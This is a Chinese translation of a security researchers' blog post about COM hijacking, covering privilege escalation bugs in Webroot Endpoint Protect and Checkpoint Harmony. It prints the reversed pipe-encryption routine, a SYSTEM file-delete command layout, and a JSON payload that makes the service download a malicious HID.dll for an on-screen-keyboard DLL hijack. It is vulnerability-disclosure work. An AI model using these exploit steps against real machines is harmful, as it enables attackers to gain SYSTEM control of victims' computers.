【翻译】The Key to COMpromise - Downloading a SYSTEM shell, Part 3 — Neodyme
在本系列第一部分中,我们描述了如何识别趋势科技 Apex One(CVE-2024-36302)使用的 COM 接口,并通过劫持其HKCU
注册表配置单元中的关联注册表键来实施重放攻击。在第二部分中,我们再次利用 COM 劫持技术,通过逆向分析 AVG Internet Security(CVE-2024-6510)的 RPC 通信协议来滥用其更新机制。
在这第三篇博客中,我们将详细讲解基于 COM 劫持发现的两个新增漏洞。第一个漏洞影响 Webroot Endpoint Protect(CVE-2023-7241),允许我们通过任意文件删除操作获取SYSTEM
权限。第二个案例针对 Checkpoint Harmony(CVE-2024-24912),利用文件下载原语实现SYSTEM
权限提升。
漏洞 1:利用文件删除实现本地提权
第一个漏洞的 COM 接口会在用户界面打开特定文件保存对话框时触发。关于 COM 劫持的详细技术背景,请参考本系列第一部分。
成功劫持 COM 接口后,我们的自定义 DLL 被加载到用户上下文下的前端进程中:
确认可以在安全产品的前端进程中执行代码后,我们开始分析前后端之间的通信机制。
逆向工程通信协议
我们使用IO Ninja Monitor监控命名管道通信。观察到每次从客户端应用程序与服务交互时,都会通过\.pipeWRSVCPipe
管道发送数据。但数据内容呈现乱码特征,无法识别有效字符串或命令:
14:40:36 +53:21.506 Client file opened File name: WRSVCPipe File ID: 0xFFFFAB04BA10ACF0 Process: DeviceHarddiskVolume2Program FilesWebrootWRSA.exe PID: 54014:40:36 +53:21.506 Server file opened File name: WRSVCPipe File ID: 0xFFFFAB04B3C0B700 Process: DeviceHarddiskVolume2Program FilesWebrootWRSA.exe PID: 171614:40:36 +53:21.507 File ID 0xFFFFAB04BA1090D0:14:40:36 +53:21.507 > 0000 a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2 ................ > 001009 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2 ................ > 002009 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2 ................ > 003009 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2 ................ > 004009 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2 ................ > 005009 f5 08 f6 0909080a 090d 080e 09010802 ................ > 0060090508060919081a 091d 081e 09110812 ................ > 0070091508160929082a 092d 082e 09210822 .....).*.-...!." > 0080 09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32 .%.&.9.:.=.>.1.2 > 0090 09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42 .5.6.I.J.M.N.A.B > 00a0 09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52 .E.F.Y.Z.].^.Q.R > 00b0 09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62 .U.V.i.j.m.n.a.b [...]
在WRSA.exe
客户端应用程序中搜索交叉引用时,我们发现大量指向\.pipeWRSVCPipe
的引用。通过分析可以观察到以下重复出现的模式:
input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);if ( !v3 )return0;*input_data = 53; // Write first byte? A command?res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\.\pipe\WRSVCPipe", input_data, 0x2710u, 0);
这个被我们重命名为WriteEncryptedNamedPipe
的方法实现了某种 XOR 加密算法,用于混淆通过命名管道传输的数据:
if ( buf ){for ( i = 1; i < 7816; ++i ) *((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85); *(_BYTE *)buf ^= 0xACu;}
我们观察到缓冲区的每个字节都经过多次 XOR 运算,既使用静态值(例如0xAC
)也采用缓冲区其他部分衍生的动态值。这解释了"加密"流量的原理,并使我们能够构建用于"解密"流量的脚本。通过逆向该加密例程,我们最终实现了以下 Python 脚本:
defencrypt(buf):for i in range(1, len(buf)): buf[i] ^= buf[i-1] ^ (i - 85) & 0xff buf[0] ^= 0xACreturn bufdefdecrypt(buf): buf[0] ^= 0xAC i = 7815while (i > 0): buf[i] ^= buf[i-1] ^ (i - 85) & 0xff i -= 1return buf
虽然这些字符串对我们的用例来说并不那么有趣,但我们在二进制流量中发现了一个结构:第一个字节看起来像是一个 command id!
通过解密用 IO Ninja 记录的流量,我们看到了各种看似是云 URL 的字符串。虽然这些字符串对我们来说并不那么有趣,但我们在二进制流量中发现了一个独特的结构:第一个字节似乎充当了命令标识符!
➜ decrypted xxd entry_0100.bin | head -n300000000: 52000000000000000000000000000000 R...............00000010: 00000000000000000000000000000000 ................00000020: 00000000000000000000000000000000 ................➜ decrypted xxd entry_0101.bin | head -n300000000: 3a00 0000000000000000000000000000 :...............00000010: 00000000000000000000000000000000 ................00000020: 00000000000000000000000000000000 ................➜ decrypted xxd entry_0001.bin | head -n300000000: 270000000000000000000000 ec2e 3277'.............2w00000010: 0000 0000 0000 0000 0000 0000 76dc b394 ............v...00000020: 0000 0000 a011 9a76 0000 0000 2400 0000 .......v....$...
在尝试重建二进制消息格式时,我们发现了一个负责处理这些命令的全局处理函数:
int __stdcall MsgRecv_Callback(int *a1, unsignedint *input_buf, void *a3, int a4, _DWORD *a5){// [...]if ( !input_buf )return7816; v6 = *input_buf;// [...]if ( v6 > 0x64 ) // [1] {if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u ) TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);return7816; }if ( !cmd_handler_table[v6] ) {// Invalid function table? }// ... more checksif ( v17 ) { cmd_id_to_string(*a1, (int)input_buf, v8); // [2] ((void (__thiscall *)(int, int *, unsignedint *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3] }
处理函数执行几个操作:在[1]
中,它首先检查command_id
是否超出有效范围(>0x64
)。如果在范围内,它会从函数表中调用相应的command_id
处理函数(见[3]
)。对我们来说很好的是,它使用cmd_id_to_string
进行调试/跟踪(见[2]
),我们可以用它来识别有趣的 command ID:
case0x36: v5 = "FLUSH_CONFIGURATION";goto LABEL_116;case0x37: v5 = "DELETEFILE";goto LABEL_116;case0x38: v5 = "INSTALL_PACKAGE";goto LABEL_116;case0x39: v5 = "GET_PACKAGE_STATUS";goto LABEL_116;case0x3A: v5 = "PERFORM_WALL";goto LABEL_116;
在各种 command ID 中,有一个特别引起了我们的注意:0x37 DELETEFILE
,让我们来看看它的实现:
int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3){ WCHAR *v3; // esi v3 = (WCHAR *)(decrypted_buffer + 8);if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) ) *(_DWORD *)(decrypted_buffer + 532) = 1;else sub_4D7090(*a1, v3); RemoveDirectoryW(v3);return1;}
正如在MsgRecv_Callback
的函数表调用中所观察到的,我们可以控制第二个参数,它对应于解密后的输入缓冲区。通过在缓冲区的0x08
偏移处策略性地放置文件名,我们可以使用SYSTEM
权限删除任何文件或目录!
利用文件删除
我们发现文件删除功能是一个潜在的权限提升向量。前端和后端之间交换的文件删除命令组成如下:
-------------------------------------------| opcode| 7x 0-bytes | Filename | 0-bytes |-------------------------------------------
在我们的版本中,第一个值是文件删除操作的操作码0x37
。接着是 7 个零字节和一个作为 Unicode 字符串提供的文件名。每个命令的总大小为 7816 字节。
通过复制之前描述的混淆逻辑,我们可以通过用于发出命令的命名管道来制作和发送我们自己的删除命令。
为了利用文件删除功能进行权限提升,我们使用了 ZDI 提供的公开PoC。该漏洞利用涉及替换 MSI 安装期间使用的回滚脚本,并在锁屏界面打开屏幕键盘时执行 DLL 劫持以生成一个SYSTEM
权限的cmd.exe
进程(更多详情可以在这里找到)。
我们运行漏洞利用程序,删除命令目标为C:\Config.msi::$INDEX_ALLOCATION
。以下图片显示了成功的执行过程:
Process Monitor 确认了文件删除:
执行漏洞利用后,在锁屏界面按下CTRL
+ALT
+DELETE
并打开屏幕键盘触发了以SYSTEM
权限执行的cmd.exe
。很好:
总的来说,我们的漏洞利用过程如下:
-
我们运行 ZDI 发布的漏洞利用程序。 -
我们劫持 COM 接口以触发我们的 DLL 加载。 -
我们的 DLL 发出删除 C:\Config.msi::$INDEX_ALLOCATION
的命令。 -
ZDI 的 PoC 在我们的系统上放置一个(恶意的)DLL,该 DLL 将被屏幕键盘加载。 -
在锁屏界面打开屏幕键盘会以 SYSTEM
权限生成cmd.exe
。
漏洞 2:滥用文件下载进行权限提升
对于第二个漏洞,我们劫持了dataexchange.dll
COM 接口。如第 1 部分所述,劫持接口允许我们在打开和关闭 Check Point Harmony UI 中的扩展菜单点时在前端进程中执行代码。在下面的截图中,菜单点用红色下划线标出:
然后我们需要找到一些有趣的暴露功能来利用。
逆向工程通信
与其他安全产品不同,这个客户端有多个模块和严格的 RPC 接口分离。这方便地让我们快速识别出一个有趣的 DLL:DeviceAgentAPI.dll
。这个 DLL 被其他模块导入,API 功能作为 PE 导出暴露:
通过对导出函数进行逆向工程,我们确实确认使用了 RPC:我们发现了对RpcBindingFromStringBindingW
的引用和在NdrClientCall2
中的实际 RPC 调用。我们还识别出客户端的接口 GUID 为2a3ac2b3-43df-471f-b621-f94769c30081
。
函数DaRpcDownloadFile
很快引起了我们的注意:在(可能的)特权上下文中的文件操作总是很危险的。为了验证其影响,我们需要找到 GUID 2a3ac2b3-43df-471f-b621-f94769c30081
的 RPC 服务器绑定。使用第二部分中使用的方法,我们追踪到了cpda.exe
,这是一个高度特权的服务:
"cpda.exe": {"2a3ac2b3-43df-471f-b621-f94769c30081": {"number_of_functions": 10,"functions_pointers": ["0x63d3e0","0x63d650",// [...]
在跟踪了一些嵌套的 RPC 函数表和 C++ vtables 后,我们最终发现了Downloader::IDownloader::vftable
:
this[11] = &Downloader::IDownloader::`vftable;// [...]// Overwrite with new vtable for IDownloaderthis[11] = &CDA::vftable;
vtable 中链接的其他函数包含类似CDA::DownloadFile
这样的字符串,确认了正确的 vtable 调用:
.rdata:0093A168 ??_7CDA@@6B@_7 dd offset RpcDownloadFileInternal.rdata:0093A168 ; DATA XREF: sub_4CE7C7+A8↑o.rdata:0093A168 ; sub_4CF7EC+66↑o.rdata:0093A16C dd offset sub_508D20.rdata:0093A170 dd offset sub_508FAB.rdata:0093A174 dd offset sub_534D15
在RpcDownloadFileInternal
内部,readJSONSafe
方法将参数作为一个 JSON 进行处理。这解释了为什么DaRpcDownloadFile
只接受一个参数而不是多个参数,这与我们通常的预期不同。尽管服务代码很难阅读,但像url
、localPath
和connectTimeoutMs
这样的字符串让我们能够猜测出这个方法所期望的 JSON 对象的结构。
接下来要做的就是将DeviceAgentAPI.dll
加载到进程中,并使用以下 JSON 字符串调用DaRpcDownloadFile
导出函数:
{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}
提升我们的权限
我们编写了一个 DLL 来导入DeviceAgentAPI.dll
并使用指定本地路径和托管文件 URL 的 JSON 调用DaRpcDownloadFile
。为了方便起见,我们通过 Python web 服务器在本地托管文件,但我们也可以在这里使用远程服务器。
文件HID.dll
被放置在C:/Program Files/Common Files/microsoft shared/ink/
中,允许通过 DLL 劫持屏幕键盘并以SYSTEM
权限启动 CMD。源代码可以从 ZDI 的Github获取。
在触发 COM 劫持来加载我们的 DLL 时,我们在 Python web 服务器上观察到了一个请求:
Process Monitor 确认 COM DLL 被加载到cptrayUI.exe
进程中...
...并且HID.dll
文件被放置到目标文件夹中:
在按下 CTRL+ALT+DELETE 并在锁屏界面打开屏幕键盘后,一个以SYSTEM
权限运行的cmd.exe
进程被启动,完成了我们的权限提升:
总结一下,我们的第二个漏洞利用的工作原理如下:
-
我们在 web 服务器上托管 HID.dll
文件。 -
我们劫持 COM 接口并将我们的 DLL 加载到受信任的前端进程中。 -
我们的 DLL 调用 DaRpcDownloadFile
,将本地路径C:/Program Files/Common Files/microsoft shared/ink/
和我们 web 服务器的 URL 作为 JSON 提供。 -
后端将我们在 web 服务器上托管的 DLL 下载到指定位置。 -
我们进入锁屏界面并打开屏幕键盘。 -
我们放置的 DLL 被加载并在锁屏界面打开一个以 SYSTEM
权限运行的cmd.exe
进程。
结论
这篇博文介绍了我们在研究过程中发现的两个漏洞。首先,我们讨论了如何在 Webroot Endpoint Protect 中发现并利用文件删除原语来提升我们的权限。然后,我们展示了如何在 Checkpoint Harmony 中发现并利用文件下载原语。
在本系列的最后一篇博文中,我们将讨论我们在 Bitdefender Total Security 中发现的最后一个权限提升漏洞(CVE-2023-6154)以及 COM 劫持提供的拒绝服务机会。
原文始发于微信公众号(securitainment):COM 劫持之钥:获取 SYSTEM 权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论